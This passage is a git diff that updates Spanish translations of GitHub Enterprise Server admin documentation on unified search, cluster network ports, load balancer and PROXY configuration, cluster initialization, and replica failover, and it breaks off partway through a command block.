-When you enable unified search, users can view search results from public and private content on {% data variables.product.prodname_dotcom_the_website %} when searching from {% data variables.product.product_location %}{% ifversion ghae %} on {% data variables.product.prodname_ghe_managed %}{% endif %}.
+Cuando habilitas la búsqueda unificada, los usuarios pueden ver los resultados de la búsqueda desde contenido público y privado en {% data variables.product.prodname_dotcom_the_website %} cuando buscan desde {% data variables.product.product_location %}.{% ifversion ghae %} en {% data variables.product.prodname_ghe_managed %}{% endif %}.
 
-After you enable unified search for {% data variables.product.product_location %}, individual users must also connect their user accounts on {% data variables.product.product_name %} with their user accounts on {% data variables.product.prodname_dotcom_the_website %} in order to see search results from {% data variables.product.prodname_dotcom_the_website %} on {% data variables.product.product_location %}. For more information, see "[Enabling {% data variables.product.prodname_dotcom_the_website %} repository search in your private enterprise account](/search-github/getting-started-with-searching-on-github/enabling-githubcom-repository-search-from-your-private-enterprise-environment)."
+Después de habilitar la búsqueda unificada para {% data variables.product.product_location %}, los usuarios individuales también deben conectar sus cuentas de usuario en {% data variables.product.product_name %} con sus cuentas de usuario en {% data variables.product.prodname_dotcom_the_website %} para poder ver los resultados de {% data variables.product.prodname_dotcom_the_website %} en {% data variables.product.product_location %}. For more information, see "[Enabling {% data variables.product.prodname_dotcom_the_website %} repository search in your private enterprise account](/search-github/getting-started-with-searching-on-github/enabling-githubcom-repository-search-from-your-private-enterprise-environment)."
 
-Users will not be able to search {% data variables.product.product_location %} from {% data variables.product.prodname_dotcom_the_website %}, even if they have access to both environments. Users can only search private repositories you've enabled {% data variables.product.prodname_unified_search %} for and that they have access to in the connected {% data variables.product.prodname_ghe_cloud %} organizations. For more information, see "[About searching on {% data variables.product.prodname_dotcom %}](/search-github/getting-started-with-searching-on-github/about-searching-on-github/#searching-across-github-enterprise-and-githubcom-simultaneously)."
+Los usuarios no podrán buscar {% data variables.product.product_location %} desde {% data variables.product.prodname_dotcom_the_website %}, incluso si tienen acceso a ambos entornos. Los usuarios solo pueden buscar repositorios privados para los que hayas habilitado {% data variables.product.prodname_unified_search %} y a los que tengan acceso en las organizaciones conectadas {% data variables.product.prodname_ghe_cloud %}. Para obtener más información, consulta [Acerca de buscar en {% data variables.product.prodname_dotcom %}](/search-github/getting-started-with-searching-on-github/about-searching-on-github/#searching-across-github-enterprise-and-githubcom-simultaneously)".
 
-Searching via the REST and GraphQL APIs does not include {% data variables.product.prodname_dotcom_the_website %} search results. Advanced search and searching for wikis in {% data variables.product.prodname_dotcom_the_website %} are not supported.
+Buscar a través de las API REST y GraphQL no incluye {% data variables.product.prodname_dotcom_the_website %} los resultados de búsqueda. No están admitidas la búsqueda avanzada y buscar wikis en {% data variables.product.prodname_dotcom_the_website %}.
 
 {% ifversion ghes %}
 {% data reusables.github-connect.access-dotcom-and-enterprise %}
 {% data reusables.enterprise_site_admin_settings.access-settings %}
 {% data reusables.enterprise_site_admin_settings.business %}
 {% ifversion ghes < 3.1 %}{% data reusables.enterprise-accounts.settings-tab %}{% endif %}{% data reusables.enterprise-accounts.github-connect-tab %}{% else %}
-1. Sign in to {% data variables.product.product_location %} and {% data variables.product.prodname_dotcom_the_website %}.
+1. Iniciar sesión en {% data variables.product.product_location %} y {% data variables.product.prodname_dotcom_the_website %}.
 {% data reusables.enterprise-accounts.access-enterprise %}{% data reusables.enterprise-accounts.github-connect-tab %}{% endif %}
-1. Under "Users can search {% data variables.product.prodname_dotcom_the_website %}", use the drop-down menu and click **Enabled**.
-  ![Enable search option in the search GitHub.com drop-down menu](/assets/images/enterprise/site-admin-settings/github-dotcom-enable-search.png)
-1. Optionally, under "Users can search private repositories on {% data variables.product.prodname_dotcom_the_website %}", use the drop-down menu and click **Enabled**.
-    ![Enable private repositories search option in the search GitHub.com drop-down menu](/assets/images/enterprise/site-admin-settings/enable-private-search.png)
+1. En "Los usuarios pueden buscar {% data variables.product.prodname_dotcom_the_website %}", utiliza el menú desplegable y haz clic en **Enabled (Habilitado)**. ![Habilitar la opción de búsqueda en el menú desplegable de búsqueda de GitHub.com](/assets/images/enterprise/site-admin-settings/github-dotcom-enable-search.png)
+1. De manera opcional, en "Users can search private repositories on (Los usuarios pueden buscar repositorios privados en) {% data variables.product.prodname_dotcom_the_website %}", utiliza el menú desplegable y haz clic en **Enabled (Habilitado)**. ![Habilitar la opción de búsqueda de repositorios privados en el menú desplegable de búsqueda de GitHub.com](/assets/images/enterprise/site-admin-settings/enable-private-search.png)
 
-## Further reading
+## Leer más
 
-- "[Connecting your enterprise account to {% data variables.product.prodname_ghe_cloud %}](/admin/configuration/managing-connections-between-your-enterprise-accounts/connecting-your-enterprise-account-to-github-enterprise-cloud)"
+- "[Conectar tu cuenta empresarial con {% data variables.product.prodname_ghe_cloud %}](/admin/configuration/managing-connections-between-your-enterprise-accounts/connecting-your-enterprise-account-to-github-enterprise-cloud)"
 
diff --git a/translations/es-ES/content/admin/configuration/managing-connections-between-your-enterprise-accounts/index.md b/translations/es-ES/content/admin/configuration/managing-connections-between-your-enterprise-accounts/index.md
index c5a822c47a..d3bb369b92 100644
--- a/translations/es-ES/content/admin/configuration/managing-connections-between-your-enterprise-accounts/index.md
+++ b/translations/es-ES/content/admin/configuration/managing-connections-between-your-enterprise-accounts/index.md
@@ -1,11 +1,11 @@
 ---
-title: Managing connections between your enterprise accounts
-intro: 'With {% data variables.product.prodname_github_connect %}, you can share certain features and data between {% data variables.product.product_location %} and your {% data variables.product.prodname_ghe_cloud %} organization or enterprise account on {% data variables.product.prodname_dotcom_the_website %}.'
+title: Administrar las conexiones entre tus cuentas empresariales
+intro: 'Con {% data variables.product.prodname_github_connect %}, puedes compartir determinadas características y datos entre {% data variables.product.product_location %} y la cuenta de tu organización u emprendimiento {% data variables.product.prodname_ghe_cloud %} en {% data variables.product.prodname_dotcom_the_website %}.'
 redirect_from:
   - /enterprise/admin/developer-workflow/connecting-github-enterprise-to-github-com
-  - /enterprise/admin/guides/developer-workflow/connecting-github-enterprise-and-github-com/
-  - /enterprise/admin/guides/developer-workflow/connecting-github-enterprise-server-and-github-com/
-  - /enterprise/admin/developer-workflow/connecting-github-enterprise-server-and-githubcom/
+  - /enterprise/admin/guides/developer-workflow/connecting-github-enterprise-and-github-com
+  - /enterprise/admin/guides/developer-workflow/connecting-github-enterprise-server-and-github-com
+  - /enterprise/admin/developer-workflow/connecting-github-enterprise-server-and-githubcom
   - /enterprise/admin/installation/managing-connections-between-github-enterprise-server-and-github-enterprise-cloud
   - /enterprise/admin/configuration/managing-connections-between-github-enterprise-server-and-github-enterprise-cloud
   - /admin/configuration/managing-connections-between-github-enterprise-server-and-github-enterprise-cloud
@@ -21,6 +21,6 @@ children:
   - /enabling-unified-contributions-between-your-enterprise-account-and-githubcom
   - /enabling-the-dependency-graph-and-dependabot-alerts-on-your-enterprise-account
   - /enabling-automatic-user-license-sync-between-github-enterprise-server-and-github-enterprise-cloud
-shortTitle: Connect enterprise accounts
+shortTitle: Conectar cuentas empresariales
 ---
 
diff --git a/translations/es-ES/content/admin/enterprise-management/configuring-clustering/about-clustering.md b/translations/es-ES/content/admin/enterprise-management/configuring-clustering/about-clustering.md
index 83cd8182ba..766d9f57d0 100644
--- a/translations/es-ES/content/admin/enterprise-management/configuring-clustering/about-clustering.md
+++ b/translations/es-ES/content/admin/enterprise-management/configuring-clustering/about-clustering.md
@@ -4,7 +4,7 @@ intro: 'La agrupación {% data variables.product.prodname_ghe_server %} permite
 redirect_from:
   - /enterprise/admin/clustering/overview
   - /enterprise/admin/clustering/about-clustering
-  - /enterprise/admin/clustering/clustering-overview/
+  - /enterprise/admin/clustering/clustering-overview
   - /enterprise/admin/enterprise-management/about-clustering
   - /admin/enterprise-management/about-clustering
 versions:
diff --git a/translations/es-ES/content/admin/enterprise-management/configuring-clustering/cluster-network-configuration.md b/translations/es-ES/content/admin/enterprise-management/configuring-clustering/cluster-network-configuration.md
index 9ae58ffd19..a6bf232642 100644
--- a/translations/es-ES/content/admin/enterprise-management/configuring-clustering/cluster-network-configuration.md
+++ b/translations/es-ES/content/admin/enterprise-management/configuring-clustering/cluster-network-configuration.md
@@ -1,6 +1,6 @@
 ---
-title: Cluster network configuration
-intro: '{% data variables.product.prodname_ghe_server %} clustering relies on proper DNS name resolution, load balancing, and communication between nodes to operate properly.'
+title: Configuración de la red de agrupaciones
+intro: 'La agrupación de {% data variables.product.prodname_ghe_server %} se basa en la resolución de nombre de DNS pertinente, balanceo de carga y comunicación entre los nodos para operar de manera adecuada.'
 redirect_from:
   - /enterprise/admin/clustering/cluster-network-configuration
   - /enterprise/admin/enterprise-management/cluster-network-configuration
@@ -13,107 +13,108 @@ topics:
   - Enterprise
   - Infrastructure
   - Networking
-shortTitle: Configure a cluster network
+shortTitle: Configurar una red de clúster
 ---
-## Network considerations
 
-The simplest network design for clustering is to place the nodes on a single LAN. If a cluster must span subnetworks, we do not recommend configuring any firewall rules between the networks. The latency between nodes should be less than 1 millisecond.
+## Consideraciones de red
 
-{% ifversion ghes %}For high availability, the latency between the network with the active nodes and the network with the passive nodes must be less than 70 milliseconds. We don't recommend configuring a firewall between the two networks.{% endif %}
+El diseño de red más simple para una agrupación es colocar los nodos en una LAN única. Si un clúster debe abarcar subredes, no te recomendamos configurar ninguna regla de firewall entre ellas. La latencia entre nodos debe ser de menos de 1 milisegundo.
 
-### Application ports for end users
+{% ifversion ghes %}Para contar con alta disponibilidad, la latencia entre la red con los nodos activos y la red con los pasivos debe ser de menos de 70 milisegundos. No te recomendamos configurar una firewall entre las dos redes.{% endif %}
 
-Application ports provide web application and Git access for end users.
+### Puertos de la aplicación para usuarios finales
 
-| Port     | Description     | Encrypted  |
-| :------------- | :------------- | :------------- |
-| 22/TCP    | Git over SSH | Yes |
-| 25/TCP    | SMTP | Requires STARTTLS |
-| 80/TCP    | HTTP | No<br>(When SSL is enabled this port redirects to HTTPS) |
-| 443/TCP   | HTTPS | Yes |
-| 9418/TCP  | Simple Git protocol port<br>(Disabled in private mode) | No |
+Los puertos de la aplicación permiten que los usuarios finales accedan a Git y a las aplicaciones web.
 
-### Administrative ports
+| Port (Puerto) | Descripción                                                               | Cifrado                                                                |
+|:------------- |:------------------------------------------------------------------------- |:---------------------------------------------------------------------- |
+| 22/TCP        | Git sobre SSH                                                             | Sí                                                                     |
+| 25/TCP        | SMTP                                                                      | Requiere STARTTLS                                                      |
+| 80/TCP        | HTTP                                                                      | No<br>(Cuando SSL está habilitado, este puerto redirige a HTTPS) |
+| 443/TCP       | HTTPS                                                                     | Sí                                                                     |
+| 9418/TCP      | Puerto de protocolo de Git simple<br>(Inhabilitado en modo privado) | No                                                                     |
 
-Administrative ports are not required for basic application use by end users.
+### Puertos administrativos
 
-| Port     | Description     | Encrypted  |
-| :------------- | :------------- | :------------- |
-| ICMP      | ICMP Ping | No |
-| 122/TCP   | Administrative SSH | Yes |
-| 161/UDP    | SNMP | No |
-| 8080/TCP  | Management Console HTTP | No<br>(When SSL is enabled this port redirects to HTTPS) |
-| 8443/TCP  | Management Console HTTPS | Yes |
+No se requieren puertos administrativos para el uso de la aplicación básica por parte de los usuarios finales.
 
-### Cluster communication ports
+| Port (Puerto) | Descripción                 | Cifrado                                                                |
+|:------------- |:--------------------------- |:---------------------------------------------------------------------- |
+| ICMP          | Ping de ICMP                | No                                                                     |
+| 122/TCP       | SSH administrativo          | Sí                                                                     |
+| 161/UDP       | SNMP                        | No                                                                     |
+| 8080/TCP      | Consola de gestión HTTP     | No<br>(Cuando SSL está habilitado, este puerto redirige a HTTPS) |
+| 8443/TCP      | Consola de gestión de HTTPS | Sí                                                                     |
 
-If a network level firewall is in place between nodes, these ports will need to be accessible. The communication between nodes is not encrypted. These ports should not be accessible externally.
+### Puertos de comunicación de agrupación
 
-| Port     | Description     |
-| :------------- | :------------- |
-| 1336/TCP  | Internal API |
-| 3033/TCP  | Internal SVN access |
-| 3037/TCP  | Internal SVN access |
-| 3306/TCP  | MySQL |
-| 4486/TCP  | Governor access |
-| 5115/TCP  | Storage backend |
-| 5208/TCP  | Internal SVN access |
-| 6379/TCP  | Redis |
-| 8001/TCP  | Grafana |
-| 8090/TCP  | Internal GPG access |
-| 8149/TCP  | GitRPC file server access |
-| 8300/TCP | Consul |
-| 8301/TCP | Consul |
-| 8302/TCP | Consul |
-| 9000/TCP  | Git Daemon |
-| 9102/TCP  | Pages file server |
-| 9105/TCP  | LFS server |
-| 9200/TCP  | Elasticsearch |
-| 9203/TCP | Semantic code service |
-| 9300/TCP  | Elasticsearch |
-| 11211/TCP | Memcache |
-| 161/UDP   | SNMP |
-| 8125/UDP  | Statsd |
-| 8301/UDP | Consul |
-| 8302/UDP | Consul |
-| 25827/UDP | Collectd |
+Si un cortafuego de nivel de red se coloca entre los nodos estos puertos deberán estar accesibles. La comunicación entre los nodos no está cifrada. Estos puertos no deberían estar accesibles externamente.
 
-## Configuring a load balancer
+| Port (Puerto) | Descripción                              |
+|:------------- |:---------------------------------------- |
+| 1336/TCP      | API interna                              |
+| 3033/TCP      | Acceso SVN interno                       |
+| 3037/TCP      | Acceso SVN interno                       |
+| 3306/TCP      | MySQL                                    |
+| 4486/TCP      | Acceso del gobernador                    |
+| 5115/TCP      | Respaldo de almacenamiento               |
+| 5208/TCP      | Acceso SVN interno                       |
+| 6379/TCP      | Redis                                    |
+| 8001/TCP      | Grafana                                  |
+| 8090/TCP      | Acceso a GPG interno                     |
+| 8149/TCP      | Acceso al servidor de archivos de GitRPC |
+| 8300/TCP      | Consul                                   |
+| 8301/TCP      | Consul                                   |
+| 8302/TCP      | Consul                                   |
+| 9000/TCP      | Git Daemon                               |
+| 9102/TCP      | Servidor de archivos de las páginas      |
+| 9105/TCP      | Servidor LFS                             |
+| 9200/TCP      | ElasticSearch                            |
+| 9203/TCP      | Servicio de código semántico             |
+| 9300/TCP      | ElasticSearch                            |
+| 11211/TCP     | Memcache                                 |
+| 161/UDP       | SNMP                                     |
+| 8125/UDP      | Statsd                                   |
+| 8301/UDP      | Consul                                   |
+| 8302/UDP      | Consul                                   |
+| 25827/UDP     | Collectd                                 |
 
- We recommend an external TCP-based load balancer that supports the PROXY protocol to distribute traffic across nodes. Consider these load balancer configurations:
+## Configurar un balanceador de carga
 
- - TCP ports (shown below) should be forwarded to nodes running the `web-server` service. These are the only nodes that serve external client requests.
- - Sticky sessions shouldn't be enabled.
+ Recomendamos un balanceador de carga externo basado en TCP que respalde el protocolo PROXY para distribuir el tráfico a través de los nodos. Considera estas configuraciones del balanceador de carga:
+
+ - Los puertos TCP (que se muestra a continuación) deberán ser reenviados a los nodos que ejecutan el servicio `web-server`. Estos son los únicos nodos que sirven a las solicitudes de clientes externos.
+ - Las sesiones pegajosas no deberían habilitarse.
 
 {% data reusables.enterprise_installation.terminating-tls %}
 
-## Handling client connection information
+## Manejar información de conexión de clientes
 
-Because client connections to the cluster come from the load balancer, the client IP address can be lost. To properly capture the client connection information, additional consideration is required.
+Dado que las conexiones de clientes con el agrupamiento provienen del balanceador de carga, no se puede perder la dirección IP de cliente. Para capturar adecuadamente la información de la conexión de clientes, se requiere una consideración adicional.
 
 {% data reusables.enterprise_clustering.proxy_preference %}
 
 {% data reusables.enterprise_clustering.proxy_xff_firewall_warning %}
 
-### Enabling PROXY support on {% data variables.product.prodname_ghe_server %}
+### Habilitar el soporte PROXY en {% data variables.product.prodname_ghe_server %}
 
-We strongly recommend enabling PROXY support for both your instance and the load balancer.
+Recomendamos firmemente habilitar el soporte PROXY para tu instancia y el balanceador de carga.
 
 {% data reusables.enterprise_installation.proxy-incompatible-with-aws-nlbs %}
 
- - For your instance, use this command:
+ - Para tu instancia, usa este comando:
   ```shell
   $ ghe-config 'loadbalancer.proxy-protocol' 'true' && ghe-cluster-config-apply
   ```
-  - For the load balancer, use the instructions provided by your vendor.
+  - Para el balanceador de carga, usa las instrucciones proporcionadas por tu proveedor.
 
   {% data reusables.enterprise_clustering.proxy_protocol_ports %}
 
-### Enabling X-Forwarded-For support on {% data variables.product.prodname_ghe_server %}
+### Habilitar el soporte X-Forwarded-For en {% data variables.product.prodname_ghe_server %}
 
 {% data reusables.enterprise_clustering.x-forwarded-for %}
 
-To enable the `X-Forwarded-For` header, use this command:
+Para habilitar el encabezado `X-Forwarded-For`, usa este comando:
 
 ```shell
 $ ghe-config 'loadbalancer.http-forward' 'true' && ghe-cluster-config-apply
@@ -121,12 +122,12 @@ $ ghe-config 'loadbalancer.http-forward' 'true' && ghe-cluster-config-apply
 
 {% data reusables.enterprise_clustering.without_proxy_protocol_ports %}
 
-### Configuring Health Checks
-Health checks allow a load balancer to stop sending traffic to a node that is not responding if a pre-configured check fails on that node. If a cluster node fails, health checks paired with redundant nodes provides high availability.
+### Configurar revisiones de estado
+Las comprobaciones de estado permiten que un balanceador de carga deje de enviar tráfico a un nodo que no responde si una comprobación preconfigurada falla en ese nodo. Si un nodo de agrupación falla, las revisiones de estado emparejadas con nodos redundantes brindan alta disponibilidad.
 
 {% data reusables.enterprise_clustering.health_checks %}
 {% data reusables.enterprise_site_admin_settings.maintenance-mode-status %}
 
-## DNS Requirements
+## Requisitos de DNS
 
 {% data reusables.enterprise_clustering.load_balancer_dns %}
diff --git a/translations/es-ES/content/admin/enterprise-management/configuring-clustering/index.md b/translations/es-ES/content/admin/enterprise-management/configuring-clustering/index.md
index 0e4f5f8d2a..4c53281967 100644
--- a/translations/es-ES/content/admin/enterprise-management/configuring-clustering/index.md
+++ b/translations/es-ES/content/admin/enterprise-management/configuring-clustering/index.md
@@ -4,7 +4,7 @@ intro: Aprende sobre agrupaciones y diferencias con alta disponibilidad.
 redirect_from:
   - /enterprise/admin/clustering/setting-up-the-cluster-instances
   - /enterprise/admin/clustering/managing-a-github-enterprise-server-cluster
-  - /enterprise/admin/guides/clustering/managing-a-github-enterprise-cluster/
+  - /enterprise/admin/guides/clustering/managing-a-github-enterprise-cluster
   - /enterprise/admin/enterprise-management/configuring-clustering
 versions:
   ghes: '*'
diff --git a/translations/es-ES/content/admin/enterprise-management/configuring-clustering/initializing-the-cluster.md b/translations/es-ES/content/admin/enterprise-management/configuring-clustering/initializing-the-cluster.md
index 421f0633d0..dfdcc7e90e 100644
--- a/translations/es-ES/content/admin/enterprise-management/configuring-clustering/initializing-the-cluster.md
+++ b/translations/es-ES/content/admin/enterprise-management/configuring-clustering/initializing-the-cluster.md
@@ -1,6 +1,6 @@
 ---
-title: Initializing the cluster
-intro: 'A {% data variables.product.prodname_ghe_server %} cluster must be set up with a license and initialized using the administrative shell (SSH).'
+title: Inicializar la agrupación
+intro: 'Una agrupación de {% data variables.product.prodname_ghe_server %} se debe configurar con una licencia y se debe inicializar mediante un shell administrativo (SSH).'
 redirect_from:
   - /enterprise/admin/clustering/initializing-the-cluster
   - /enterprise/admin/enterprise-management/initializing-the-cluster
@@ -12,43 +12,43 @@ topics:
   - Clustering
   - Enterprise
 ---
+
 {% data reusables.enterprise_clustering.clustering-requires-https %}
 
-## Installing {% data variables.product.prodname_ghe_server %}
+## Instalar {% data variables.product.prodname_ghe_server %}
 
-1. On each cluster node, provision and install {% data variables.product.prodname_ghe_server %}. For more information, see "[Setting up a {% data variables.product.prodname_ghe_server %} instance](/enterprise/{{ currentVersion }}/admin/guides/installation/setting-up-a-github-enterprise-server-instance)."
-2. Using the administrative shell or DHCP, **only** configure the IP address of each node. Don't configure any other settings.
+1. En cada nodo de agrupación, suministra e instala {% data variables.product.prodname_ghe_server %}. Para obtener más información, consulta "[Configurar una instancia {% data variables.product.prodname_ghe_server %} ](/enterprise/{{ currentVersion }}/admin/guides/installation/setting-up-a-github-enterprise-server-instance)."
+2. Mediante el shell administrativo o DHCP, configura **solo** la dirección IP de cada nodo. No configures los otros parámetros.
 
-## Configuring the first node
+## Configurar el primer nodo
 
-1. Connect to the node that will be designated as MySQL primary in `cluster.conf`. For more information, see "[About the cluster configuration file](/enterprise/{{ currentVersion }}/admin/guides/clustering/initializing-the-cluster/#about-the-cluster-configuration-file)."
-2. In your web browser, visit `https://<ip address>:8443/setup/`.
+1. Conèctate al nodo que se designarà como el primario de MySQL en la `cluster.conf`. Para obtener màs informaciòn, consulta la secciòn "[Acerca del archivo de configuraciòn de clùster](/enterprise/{{ currentVersion }}/admin/guides/clustering/initializing-the-cluster/#about-the-cluster-configuration-file)".
+2. En tu navegador web, visita `https://<ip address>:8443/setup/`.
 {% data reusables.enterprise_installation.upload-a-license-file %}
 {% data reusables.enterprise_installation.save-settings-in-web-based-mgmt-console %}
 {% data reusables.enterprise_installation.instance-will-restart-automatically %}
 
-## Initializing the cluster
+## Inicializar la agrupación
 
-To initialize the cluster, you need a cluster configuration file (`cluster.conf`). For more information, see "[About the cluster configuration file](/enterprise/{{ currentVersion }}/admin/guides/clustering/initializing-the-cluster/#about-the-cluster-configuration-file)".
+Para inicializar la agrupación, necesitas un archivo de configuración de agrupación (`cluster.conf`). Para obtener màs informaciòn, consulta la secciòn "[Acerca del archivo de configuraciòn de clùster](/enterprise/{{ currentVersion }}/admin/guides/clustering/initializing-the-cluster/#about-the-cluster-configuration-file)".
 
-1. From the first node that was configured, run `ghe-cluster-config-init`.  This will initialize the cluster if there are nodes in the cluster configuration file that are not configured.
-2. Run `ghe-cluster-config-apply`. This will validate the `cluster.conf` file, apply the configuration to each node file and bring up the configured services on each node.
+1. Desde el primer nodo que se configuró, ejecuta `ghe-cluster-config. init`.  De esta manera, se inicializará la agrupación si existen nodos en el archivo de configuración de la agrupación que no están configurados.
+2. Ejecuta `ghe-cluster-config-apply`. Esto validará el archivo `cluster.conf`, aplicará la configuración a cada archivo del nodo y traerá los servicios configurados en cada nodo.
 
-To check the status of a running cluster use the `ghe-cluster-status` command.
+Para comprobar el estado de una agrupación en funcionamiento, usa el comando `ghe-cluster-status`.
 
-## About the cluster configuration file
+## Acerca del archivo de configuración de la agrupación
 
-The cluster configuration file (`cluster.conf`) defines the nodes in the cluster, and what services they run.
-For more information, see "[About cluster nodes](/enterprise/{{ currentVersion }}/admin/guides/clustering/about-cluster-nodes)."
+El archivo de configuración de la agrupación (`cluster.conf`) define los nodos en la agrupación, y los servicios que ejecutan. Para obtener más información, consulta "[Acerca de los nodos de agrupación](/enterprise/{{ currentVersion }}/admin/guides/clustering/about-cluster-nodes)".
 
-This example `cluster.conf` defines a cluster with five nodes.
+Este ejemplo `cluster.conf` define una agrupación con cinco nodos.
 
-  - Two nodes (called `ghe-app-node-\*`) run the `web-server` and `job-server` services responsible for responding to client requests.
-  - Three nodes (called `ghe-data-node-\*`) run the services responsible for storage and retrieval of {% data variables.product.prodname_ghe_server %} data.
+  - Dos nodos (llamados `ghe-app-node-\*`) ejecutan los servicios `web-server` y `job-server` responsables de atender las solicitudes de los clientes.
+  - Tres nodos (llamados `ghe-data-node-\*`) ejecutan los servicios responsables del almacenamiento y la recuperación de los datos de {% data variables.product.prodname_ghe_server %}.
 
-The names of the nodes can be any valid hostname you choose. The names are set as the hostname of each node, and will also be added to `/etc/hosts` on each node, so that the nodes are locally resolvable to each other.
+Los nombres de los nodos pueden ser cualquier nombre de host válido que elijas. Los nombres son conjuntos de nombres de host de cada nodo y también se agregarán a `/etc/hosts` en cada nodo, de manera que los nodos puedan ser resolubles localmente entre sí.
 
-Specify the first cluster node you configured as the MySQL primary via `mysql-server` and `mysql-master`.
+Especifica el primer nodo de clùster que configuraste como el primario de MySQL a travès de `mysql-server` y de `mysql-master`.
 
 ```ini
 [cluster]
@@ -111,7 +111,7 @@ Specify the first cluster node you configured as the MySQL primary via `mysql-se
   storage-server = true
 ```
 
-Create the file `/data/user/common/cluster.conf` on the configured first node. For example, using `vim`:
+Crea el archivo `/data/user/common/cluster.conf` en el primer nodo configurado. Por ejemplo, usando `vim`:
 
    ```shell
    ghe-data-node-1:~$ sudo vim /data/user/common/cluster.conf
diff --git a/translations/es-ES/content/admin/enterprise-management/configuring-high-availability/index.md b/translations/es-ES/content/admin/enterprise-management/configuring-high-availability/index.md
index c4b1c258ee..1020ba38de 100644
--- a/translations/es-ES/content/admin/enterprise-management/configuring-high-availability/index.md
+++ b/translations/es-ES/content/admin/enterprise-management/configuring-high-availability/index.md
@@ -2,9 +2,9 @@
 title: Configurar la disponibilidad alta
 redirect_from:
   - /enterprise/admin/installation/configuring-github-enterprise-server-for-high-availability
-  - /enterprise/admin/guides/installation/high-availability-cluster-configuration/
-  - /enterprise/admin/guides/installation/high-availability-configuration/
-  - /enterprise/admin/guides/installation/configuring-github-enterprise-for-high-availability/
+  - /enterprise/admin/guides/installation/high-availability-cluster-configuration
+  - /enterprise/admin/guides/installation/high-availability-configuration
+  - /enterprise/admin/guides/installation/configuring-github-enterprise-for-high-availability
   - /enterprise/admin/enterprise-management/configuring-high-availability
 intro: '{% data variables.product.prodname_ghe_server %} admite un modo de alta disponibilidad de funcionamiento diseñado para minimizar la interrupción del servicio en caso que ocurra una falla de hardware o una interrupción de red importante que afecte al aparato principal.'
 versions:
diff --git a/translations/es-ES/content/admin/enterprise-management/configuring-high-availability/initiating-a-failover-to-your-replica-appliance.md b/translations/es-ES/content/admin/enterprise-management/configuring-high-availability/initiating-a-failover-to-your-replica-appliance.md
index a76bdee366..21ea21a4f7 100644
--- a/translations/es-ES/content/admin/enterprise-management/configuring-high-availability/initiating-a-failover-to-your-replica-appliance.md
+++ b/translations/es-ES/content/admin/enterprise-management/configuring-high-availability/initiating-a-failover-to-your-replica-appliance.md
@@ -1,6 +1,6 @@
 ---
-title: Initiating a failover to your replica appliance
-intro: 'You can failover to a {% data variables.product.prodname_ghe_server %} replica appliance using the command line for maintenance and testing, or if the primary appliance fails.'
+title: Iniciar una tolerancia de fallos a tu aparato de réplica
+intro: 'Puedes tener tolerancia de fallos en un aparato de réplica {% data variables.product.prodname_ghe_server %} por medio de la línea de comando para mantenimiento y pruebas, o si falla el aparato principal.'
 redirect_from:
   - /enterprise/admin/installation/initiating-a-failover-to-your-replica-appliance
   - /enterprise/admin/enterprise-management/initiating-a-failover-to-your-replica-appliance
@@ -12,47 +12,48 @@ topics:
   - Enterprise
   - High availability
   - Infrastructure
-shortTitle: Initiate failover to appliance
+shortTitle: Iniciar la recuperación de fallos para el aplicativo
 ---
-The time required to failover depends on how long it takes to manually promote the replica and redirect traffic. The average time ranges between 2-10 minutes.
+
+El tiempo requerido para la tolerancia de fallos depende de cuánto le tome para impulsar la réplica y redireccionar el tráfico de forma manual. El tiempo promedio varía entre 2 y 10 minutos.
 
 {% data reusables.enterprise_installation.promoting-a-replica %}
 
-1. To allow replication to finish before you switch appliances, put the primary appliance into maintenance mode:
-    - To use the management console, see "[Enabling and scheduling maintenance mode](/enterprise/admin/guides/installation/enabling-and-scheduling-maintenance-mode/)"
-    - You can also use the `ghe-maintenance -s` command.
+1. Para permitir que la replicación finalice antes de cambiar aparatos, pon el aparato principal en modo mantenimiento:
+    - Para usar el administrador de consola, consulta "[Habilitar y programar el modo mantenimiento](/enterprise/admin/guides/installation/enabling-and-scheduling-maintenance-mode/)"
+    - También puedes usar el comando `ghe-maintenance -s`.
       ```shell
       $ ghe-maintenance -s
       ```
-2.  When the number of active Git operations, MySQL queries, and Resque jobs reaches zero, wait 30 seconds. 
+2.  Cuando la cantidad de operaciones activas de Git, consultas de MySQL y jobs de Resque lleguen a cero, espera 30 segundos.
 
     {% note %}
 
-    **Note:** Nomad will always have jobs running, even in maintenance mode, so you can safely ignore these jobs.
-    
+    **Nota:** Nomad siempre tendrá jobs en ejecución, incluso si está en modo de mantenimiento, así que puedes ignorar estos jobs de forma segura.
+
     {% endnote %}
 
-3. To verify all replication channels report `OK`, use the `ghe-repl-status -vv` command.
+3. Para verificar que todos los canales de replicación informan `OK`, utiliza el comando `ghe-repl-status -vv`.
   ```shell
   $ ghe-repl-status -vv
   ```
-4. To stop replication and promote the replica appliance to primary status, use the `ghe-repl-promote` command. This will also automatically put the primary node in maintenance node if it’s reachable.
+4. Para frenar la replicación e impulsar el aparato de réplica a un estado primario, utiliza el comando `ghe-repl-promote`. Esto también pondrá de forma automática al nodo primario en nodo mantenimiento si es accesible.
   ```shell
   $ ghe-repl-promote
   ```
-5. Update the DNS record to point to the IP address of the replica. Traffic is directed to the replica after the TTL period elapses. If you are using a load balancer, ensure it is configured to send traffic to the replica.
-6. Notify users that they can resume normal operations.
-7. If desired, set up replication from the new primary to existing appliances and the previous primary. For more information, see "[About high availability configuration](/enterprise/{{ currentVersion }}/admin/guides/installation/about-high-availability-configuration/#utilities-for-replication-management)."
-8. Appliances you do not intend to setup replication to that were part of the high availability configuration prior the failover, need to be removed from the high availability configuration by UUID.
-    - On the former appliances, get their UUID via `cat /data/user/common/uuid`.
+5. Actualiza el registro de DNS para que apunte a la dirección IP de la réplica. El tráfico es direccionado a la réplica después de que transcurra el período TTL. Si estás utilizando un balanceador de carga, asegúrate de que esté configurado para enviar el tráfico a la réplica.
+6. Notifica a los usuarios que pueden retomar las operaciones normales.
+7. Si se desea, configura una replicación desde el aparato principal nuevo al aparato existente y el principal anterior. Para obtener más información, consulta "[Acerca de la configuración de alta disponibilidad](/enterprise/{{ currentVersion }}/admin/guides/installation/about-high-availability-configuration/#utilities-for-replication-management)."
+8. Los aplicativos en los que no pretendas configurar la replicación que eran parte de la configuración de disponibilidad alta antes de la recuperación del fallo deberán eliminarse de dicha configuración de disponibilidad alta a través de UUID.
+    - Para los aplicativos anteriores, obtén su UUID a través de `cat /data/user/common/uuid`.
       ```shell
       $ cat /data/user/common/uuid
       ```
-    - On the new primary, remove the UUIDs using `ghe-repl-teardown`. Please replace *`UUID`* with a UUID you retrieved in the previous step.
+    - En el primario nuevo, elimina las UUID utilizando `ghe-repl-teardown`. Por favor, reemplaza *`UUID`* con aquella UUID que recuperaste en el paso anterior.
       ```shell
